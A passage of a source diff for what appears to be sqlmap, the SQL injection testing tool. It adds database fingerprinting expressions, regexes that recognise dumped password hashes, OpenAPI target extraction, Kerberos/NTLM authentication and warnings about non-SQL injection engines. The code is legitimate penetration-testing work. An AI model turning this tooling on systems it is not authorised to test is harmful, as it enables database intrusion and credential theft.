DBMS.MONETDB: "CODE(NULL)",
|
||||
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
|
||||
DBMS.DERBY: "NULLIF(USER,SESSION_USER)", # not Derby-specific; safe only because DB2 (shares this dummy) is tested first
|
||||
DBMS.DB2: "MULTIPLY_ALT(NULL,NULL)", # DB2-unique (Derby shares the dummy, not this function)
|
||||
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
|
||||
DBMS.MCKOI: "TONUMBER(NULL)",
|
||||
DBMS.PRESTO: "FROM_HEX(NULL)",
|
||||
@@ -294,7 +338,8 @@ HEURISTIC_NULL_EVAL = {
|
||||
DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
|
||||
DBMS.CLICKHOUSE: "halfMD5(NULL)",
|
||||
DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
|
||||
DBMS.SPANNER: "FARM_FINGERPRINT(NULL)",
|
||||
DBMS.SPANNER: "FARM_FINGERPRINT(NULL)", # also BigQuery GoogleSQL (not in DBMS)
|
||||
DBMS.HANA: "MAP(NULL,NULL,NULL,NULL,NULL)",
|
||||
}
|
||||
|
||||
SQL_STATEMENTS = {
|
||||
@@ -362,6 +407,7 @@ SQL_STATEMENTS = {
|
||||
POST_HINT_CONTENT_TYPES = {
|
||||
POST_HINT.JSON: "application/json",
|
||||
POST_HINT.JSON_LIKE: "application/json",
|
||||
POST_HINT.GRPC_WEB: "application/grpc-web-text",
|
||||
POST_HINT.MULTIPART: "multipart/form-data",
|
||||
POST_HINT.SOAP: "application/soap+xml",
|
||||
POST_HINT.XML: "application/xml",
|
||||
|
||||
+17
-7
@@ -48,12 +48,13 @@ from lib.core.exception import SqlmapGenericException
|
||||
from lib.core.exception import SqlmapSystemException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.replication import Replication
|
||||
from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD
|
||||
from lib.core.settings import DUMP_FILE_BUFFER_SIZE
|
||||
from lib.core.settings import HTML_DUMP_CSS_STYLE
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import METADB_SUFFIX
|
||||
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
|
||||
from lib.core.settings import SQLITE_INT_MAX
|
||||
from lib.core.settings import SQLITE_INT_MIN
|
||||
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
|
||||
@@ -62,7 +63,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
|
||||
from lib.utils.safe2bin import safechardecode
|
||||
from thirdparty import six
|
||||
from thirdparty.magic import magic
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
|
||||
class Dump(object):
|
||||
"""
|
||||
@@ -197,7 +198,7 @@ class Dump(object):
|
||||
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
||||
|
||||
def currentDb(self, data):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE, DBMS.HANA):
|
||||
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO):
|
||||
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
@@ -552,13 +553,20 @@ class Dump(object):
|
||||
if column != "__infos__":
|
||||
colType = Replication.INTEGER
|
||||
|
||||
for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))):
|
||||
# Note: the type must hold for EVERY value that will be inserted - sampling only a
|
||||
# prefix would type the column INTEGER/REAL while a later leading-zero/signed/overflow
|
||||
# value gets silently rewritten by SQLite's affinity (the INTEGER scan breaks early on
|
||||
# the first non-conforming value, so a genuine TEXT column costs almost nothing)
|
||||
for i in xrange(len(tableValues[column]['values'])):
|
||||
value = tableValues[column]['values'][i]
|
||||
try:
|
||||
if not value or value == " ": # NULL
|
||||
continue
|
||||
|
||||
int(value)
|
||||
# Note: keep INTEGER only for values SQLite's affinity leaves untouched; leading zeros ('007'), signs ('+1') or 64-bit overflow would be silently rewritten on insert
|
||||
parsed = int(value)
|
||||
if str(parsed) != value or not (SQLITE_INT_MIN <= parsed <= SQLITE_INT_MAX):
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
colType = None
|
||||
break
|
||||
@@ -566,13 +574,15 @@ class Dump(object):
|
||||
if colType is None:
|
||||
colType = Replication.REAL
|
||||
|
||||
for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))):
|
||||
for i in xrange(len(tableValues[column]['values'])):
|
||||
value = tableValues[column]['values'][i]
|
||||
try:
|
||||
if not value or value == " ": # NULL
|
||||
continue
|
||||
|
||||
float(value)
|
||||
# Note: likewise REAL must round-trip textually ('2.00' or '1e5' would lose their exact form)
|
||||
if repr(float(value)) != value:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
colType = None
|
||||
break
|
||||
|
||||
+22
-1
@@ -62,6 +62,7 @@ class DBMS(object):
|
||||
VIRTUOSO = "Virtuoso"
|
||||
SNOWFLAKE = "Snowflake"
|
||||
SPANNER = "Spanner"
|
||||
HANA = "SAP HANA"
|
||||
|
||||
class DBMS_DIRECTORY_NAME(object):
|
||||
ACCESS = "access"
|
||||
@@ -94,6 +95,7 @@ class DBMS_DIRECTORY_NAME(object):
|
||||
VIRTUOSO = "virtuoso"
|
||||
SNOWFLAKE = "snowflake"
|
||||
SPANNER = "spanner"
|
||||
HANA = "hana"
|
||||
|
||||
class FORK(object):
|
||||
MARIADB = "MariaDB"
|
||||
@@ -115,6 +117,7 @@ class FORK(object):
|
||||
DORIS = "Doris"
|
||||
STARROCKS = "StarRocks"
|
||||
TRINO = "Trino"
|
||||
DUCKDB = "DuckDB"
|
||||
|
||||
class CUSTOM_LOGGING(object):
|
||||
PAYLOAD = 9
|
||||
@@ -143,6 +146,7 @@ class POST_HINT(object):
|
||||
MULTIPART = "MULTIPART"
|
||||
XML = "XML (generic)"
|
||||
ARRAY_LIKE = "Array-like"
|
||||
GRPC_WEB = "gRPC-Web"
|
||||
|
||||
class HTTPMETHOD(object):
|
||||
GET = "GET"
|
||||
@@ -180,10 +184,13 @@ class HASH(object):
|
||||
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
||||
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
|
||||
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
||||
POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z'
|
||||
MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z'
|
||||
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
|
||||
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
|
||||
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
|
||||
ORACLE = r'(?i)\As:[0-9a-f]{60}\Z'
|
||||
ORACLE_12C = r'(?i)\At:[0-9a-f]{160}\Z'
|
||||
ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z'
|
||||
MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z'
|
||||
SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z'
|
||||
@@ -192,8 +199,10 @@ class HASH(object):
|
||||
SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
|
||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||
SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z'
|
||||
SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z'
|
||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||
PHPASS = r'\A\$(?:[PHQ]\$[./0-9a-zA-Z]{31}|S\$[./0-9a-zA-Z]{52})\Z' # $P$/$H$/$Q$ (WordPress/phpBB) are 34 chars; Drupal 7 '$S$' is 55 (DRUPAL_HASH_LENGTH)
|
||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||
@@ -205,6 +214,13 @@ class HASH(object):
|
||||
SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||
DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z'
|
||||
DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z'
|
||||
DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z'
|
||||
WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z'
|
||||
WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z'
|
||||
BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
|
||||
WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
|
||||
ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z'
|
||||
ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z'
|
||||
MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z'
|
||||
SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z'
|
||||
SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z'
|
||||
@@ -266,6 +282,7 @@ class HTTP_HEADER(object):
|
||||
RANGE = "Range"
|
||||
REFERER = "Referer"
|
||||
REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794
|
||||
RETRY_AFTER = "Retry-After"
|
||||
SERVER = "Server"
|
||||
SET_COOKIE = "Set-Cookie"
|
||||
TRANSFER_ENCODING = "Transfer-Encoding"
|
||||
@@ -288,6 +305,7 @@ class OPTION_TYPE(object):
|
||||
class HASHDB_KEYS(object):
|
||||
DBMS = "DBMS"
|
||||
DBMS_FORK = "DBMS_FORK"
|
||||
MYSQL_UTF8MB4 = "MYSQL_UTF8MB4"
|
||||
CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
|
||||
CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS"
|
||||
CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
|
||||
@@ -323,6 +341,8 @@ class PAYLOAD(object):
|
||||
4: "Double quoted string",
|
||||
5: "LIKE double quoted string",
|
||||
6: "Identifier (e.g. column name)",
|
||||
7: "Block comment",
|
||||
8: "Alternative quoted string",
|
||||
}
|
||||
|
||||
RISK = {
|
||||
@@ -420,6 +440,7 @@ class AUTH_TYPE(object):
|
||||
DIGEST = "digest"
|
||||
BEARER = "bearer"
|
||||
NTLM = "ntlm"
|
||||
NEGOTIATE = "negotiate"
|
||||
PKI = "pki"
|
||||
|
||||
class AUTOCOMPLETE_TYPE(object):
|
||||
|
||||
+187
-45
@@ -11,6 +11,7 @@ import codecs
|
||||
import collections
|
||||
import functools
|
||||
import glob
|
||||
import importlib
|
||||
import inspect
|
||||
import json
|
||||
import logging
|
||||
@@ -127,6 +128,7 @@ from lib.core.settings import PARAMETER_SPLITTING_REGEX
|
||||
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
|
||||
from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
|
||||
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
|
||||
from lib.core.settings import NONSQL_TECHNIQUES
|
||||
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import SUPPORTED_OS
|
||||
@@ -144,6 +146,7 @@ from lib.request.basicauthhandler import SmartHTTPBasicAuthHandler
|
||||
from lib.request.chunkedhandler import ChunkedHandler
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.request.dns import DNSServer
|
||||
from lib.request.dns import InteractshDNSServer
|
||||
from lib.request.httpshandler import HTTPSHandler
|
||||
from lib.request.keepalive import HTTPKeepAliveHandler
|
||||
from lib.request.keepalive import HTTPSKeepAliveHandler
|
||||
@@ -156,7 +159,7 @@ from lib.utils.har import HTTPCollectorFactory
|
||||
from lib.utils.purge import purge
|
||||
from lib.utils.search import search
|
||||
from thirdparty import six
|
||||
from thirdparty.multipart import multipartpost
|
||||
from lib.request.multiparthandler import MultipartPostHandler
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import http_cookiejar as _http_cookiejar
|
||||
@@ -172,7 +175,7 @@ keepAliveHandlerHTTPS = HTTPSKeepAliveHandler()
|
||||
proxyHandler = _urllib.request.ProxyHandler()
|
||||
redirectHandler = SmartRedirectHandler()
|
||||
rangeHandler = HTTPRangeHandler()
|
||||
multipartPostHandler = multipartpost.MultipartPostHandler()
|
||||
multipartPostHandler = MultipartPostHandler()
|
||||
|
||||
# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html
|
||||
try:
|
||||
@@ -420,7 +423,10 @@ def _doSearch():
|
||||
conf.googlePage += 1
|
||||
|
||||
def _setStdinPipeTargets():
|
||||
if conf.url:
|
||||
# Note: an explicit target source takes precedence. Without this, any non-interactive run (CI,
|
||||
# cron, subprocess) would reroute '-m/-l/-r/-g' targets through the STDIN container, losing both
|
||||
# their count and their order
|
||||
if any((conf.url, conf.direct, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.openApiFile)):
|
||||
return
|
||||
|
||||
if isinstance(conf.stdinPipe, _collections.Iterable):
|
||||
@@ -492,6 +498,76 @@ def _setBulkMultipleTargets():
|
||||
warnMsg = "no usable links found (with GET parameters)"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
def _setOpenApiTargets():
|
||||
if not conf.openApiFile:
|
||||
return
|
||||
|
||||
from lib.parse.openapi import openApiTargets
|
||||
|
||||
if conf.method:
|
||||
warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
# origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base'
|
||||
# (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself.
|
||||
origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None
|
||||
if re.match(r"(?i)\Ahttps?://", conf.openApiFile):
|
||||
infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile
|
||||
logger.info(infoMsg)
|
||||
from lib.request.connect import Connect as Request
|
||||
content = Request.getPage(url=conf.openApiFile, raise404=True)[0]
|
||||
if not origin:
|
||||
match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile)
|
||||
origin = match.group(1) if match else None
|
||||
else:
|
||||
conf.openApiFile = safeExpandUser(conf.openApiFile)
|
||||
checkFile(conf.openApiFile)
|
||||
infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile
|
||||
logger.info(infoMsg)
|
||||
with openFile(conf.openApiFile) as f:
|
||||
content = f.read()
|
||||
|
||||
tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None
|
||||
if tags:
|
||||
infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags)
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
targets = openApiTargets(content, origin, tags)
|
||||
except ValueError as ex:
|
||||
errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])):
|
||||
warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. "
|
||||
warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with "
|
||||
warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback
|
||||
mutating = 0
|
||||
for url, method, data, headers in targets:
|
||||
if conf.scope and not re.search(conf.scope, url, re.I):
|
||||
continue
|
||||
if method not in ("GET", "HEAD", "OPTIONS"):
|
||||
mutating += 1
|
||||
kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None))
|
||||
|
||||
added = len(kb.targets) - before
|
||||
if added:
|
||||
conf.multipleTargets = True
|
||||
infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added
|
||||
logger.info(infoMsg)
|
||||
if mutating:
|
||||
warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating
|
||||
warnMsg += "Scanning them may create, modify or delete server-side data"
|
||||
logger.warning(warnMsg)
|
||||
else:
|
||||
warnMsg = "no usable targets derived from the OpenAPI/Swagger specification"
|
||||
if not conf.openApiBase:
|
||||
warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
def _findPageForms():
|
||||
if not conf.forms or conf.crawlDepth:
|
||||
return
|
||||
@@ -764,7 +840,8 @@ def _listTamperingFunctions():
|
||||
logger.info(infoMsg)
|
||||
|
||||
for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
|
||||
content = openFile(script, 'r').read()
|
||||
with openFile(script, 'r') as f:
|
||||
content = f.read()
|
||||
match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
|
||||
if match:
|
||||
comment = match.group(1).strip()
|
||||
@@ -820,6 +897,7 @@ def _setTamperingFunctions():
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
try:
|
||||
getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime)
|
||||
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||
except Exception as ex:
|
||||
raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||
@@ -870,6 +948,18 @@ def _setTamperingFunctions():
|
||||
warnMsg += "a good idea"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines do not run
|
||||
# payloads through the tampering hook, so warn instead of silently ignoring the user's
|
||||
# '--tamper'. One tuple drives both the test and the name lookup - keeping two lists in step is
|
||||
# exactly how this raised StopIteration, and leaving an engine OUT (as '--hql' was) is how the
|
||||
# warning silently stops covering one.
|
||||
_nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe", "hql", "sparql", "odata")
|
||||
if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines):
|
||||
engine = next(_ for _ in _nonSqlEngines if conf.get(_))
|
||||
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
|
||||
warnMsg += "will be ignored by the '--%s' engine" % engine
|
||||
logger.warning(warnMsg)
|
||||
|
||||
if resolve_priorities and priorities:
|
||||
priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True)
|
||||
kb.tamperFunctions = []
|
||||
@@ -919,6 +1009,7 @@ def _setPreprocessFunctions():
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
try:
|
||||
getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime)
|
||||
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||
except Exception as ex:
|
||||
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||
@@ -1002,6 +1093,7 @@ def _setPostprocessFunctions():
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
try:
|
||||
getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime)
|
||||
module = __import__(safeFilepathEncode(filename[:-3]))
|
||||
except Exception as ex:
|
||||
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
|
||||
@@ -1249,10 +1341,15 @@ def _setHTTPHandlers():
|
||||
handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
|
||||
|
||||
# Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
|
||||
# Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out,
|
||||
# and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods,
|
||||
# or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler)
|
||||
conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked
|
||||
# Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s)
|
||||
# proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled
|
||||
# socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled
|
||||
# when incompatible (authentication methods, or chunked transfer-encoding of the request body -
|
||||
# handled by a dedicated, non-pooling handler). Negotiate is the one auth exception: its token is
|
||||
# a per-request, end-to-end header (minted fresh each request, no connection-bound handshake), so
|
||||
# persistent connections remain safe and worthwhile.
|
||||
negotiateAuth = (conf.authType or "").lower() == AUTH_TYPE.NEGOTIATE
|
||||
conf.keepAlive = not conf.noKeepAlive and not conf.chunked and (not conf.authType or negotiateAuth)
|
||||
|
||||
if conf.keepAlive:
|
||||
# persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
|
||||
@@ -1261,8 +1358,8 @@ def _setHTTPHandlers():
|
||||
handlers.remove(httpsHandler)
|
||||
handlers.append(keepAliveHandler)
|
||||
handlers.append(keepAliveHandlerHTTPS)
|
||||
elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked):
|
||||
reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding")
|
||||
elif not conf.noKeepAlive and (conf.authType or conf.chunked):
|
||||
reason = "authentication methods" if conf.authType else "chunked transfer-encoding"
|
||||
debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
|
||||
logger.debug(debugMsg)
|
||||
|
||||
@@ -1368,7 +1465,7 @@ def _setAuthCred():
|
||||
|
||||
def _setHTTPAuthentication():
|
||||
"""
|
||||
Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM or PKI),
|
||||
Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM, Negotiate or PKI),
|
||||
username and password for first three methods, or PEM private key file for
|
||||
PKI authentication
|
||||
"""
|
||||
@@ -1391,9 +1488,9 @@ def _setHTTPAuthentication():
|
||||
errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
|
||||
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.NEGOTIATE, AUTH_TYPE.PKI):
|
||||
errMsg = "HTTP authentication type value must be "
|
||||
errMsg += "Basic, Digest, Bearer, NTLM or PKI"
|
||||
errMsg += "Basic, Digest, Bearer, NTLM, Negotiate or PKI"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if not conf.authFile:
|
||||
@@ -1409,11 +1506,12 @@ def _setHTTPAuthentication():
|
||||
elif authType == AUTH_TYPE.BEARER:
|
||||
conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip()))
|
||||
return
|
||||
elif authType == AUTH_TYPE.NTLM:
|
||||
elif authType in (AUTH_TYPE.NTLM, AUTH_TYPE.NEGOTIATE):
|
||||
# Note: the DOMAIN\username part is colon-free, so the password group takes the full
|
||||
# remainder (a greedy first group would otherwise swallow colons inside the password)
|
||||
# remainder (a greedy first group would otherwise swallow colons inside the password).
|
||||
# For Negotiate, DOMAIN is the Kerberos realm.
|
||||
regExp = "^([^:]*\\\\[^:]*):(.*)$"
|
||||
errMsg = "HTTP NTLM authentication credentials value must "
|
||||
errMsg = "HTTP %s authentication credentials value must " % authType
|
||||
errMsg += "be in format 'DOMAIN\\username:password'"
|
||||
elif authType == AUTH_TYPE.PKI:
|
||||
errMsg = "HTTP PKI authentication require "
|
||||
@@ -1439,15 +1537,14 @@ def _setHTTPAuthentication():
|
||||
authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr)
|
||||
|
||||
elif authType == AUTH_TYPE.NTLM:
|
||||
try:
|
||||
from ntlm import HTTPNtlmAuthHandler
|
||||
except ImportError:
|
||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||
errMsg += "in order to authenticate via NTLM. Download from "
|
||||
errMsg += "'https://github.com/mullender/python-ntlm'"
|
||||
raise SqlmapMissingDependence(errMsg)
|
||||
from lib.request.ntlm import HTTPNtlmAuthHandler
|
||||
authHandler = HTTPNtlmAuthHandler(kb.passwordMgr)
|
||||
|
||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
|
||||
elif authType == AUTH_TYPE.NEGOTIATE:
|
||||
from lib.request.kerberos import HTTPNegotiateAuthHandler
|
||||
# DOMAIN is the Kerberos realm; the KDC is auto-discovered (env / krb5.conf / DNS SRV / realm)
|
||||
realm, _, user = conf.authUsername.partition('\\')
|
||||
authHandler = HTTPNegotiateAuthHandler(realm, user, conf.authPassword)
|
||||
else:
|
||||
debugMsg = "setting the HTTP(s) authentication PEM private key"
|
||||
logger.debug(debugMsg)
|
||||
@@ -1841,7 +1938,7 @@ def _cleanupOptions():
|
||||
if conf.tmpPath:
|
||||
conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath))
|
||||
|
||||
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)):
|
||||
if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)):
|
||||
conf.multipleTargets = True
|
||||
|
||||
if conf.optimize:
|
||||
@@ -2101,9 +2198,17 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
|
||||
kb.chars = AttribDict()
|
||||
kb.chars.delimiter = randomStr(length=6, lowercase=True)
|
||||
kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
|
||||
kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
|
||||
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))
|
||||
# NOTE: markers have to be mutually distinct (e.g. equal start/stop makes the delimited output ambiguous, while equal replacement markers make _errorReplaceChars() restore the wrong character). Also, none of the inner letters may be the boundary character itself, as that makes a marker contain a shorter one (e.g. 'qzqxq' carrying 'qzq')
|
||||
_ = set()
|
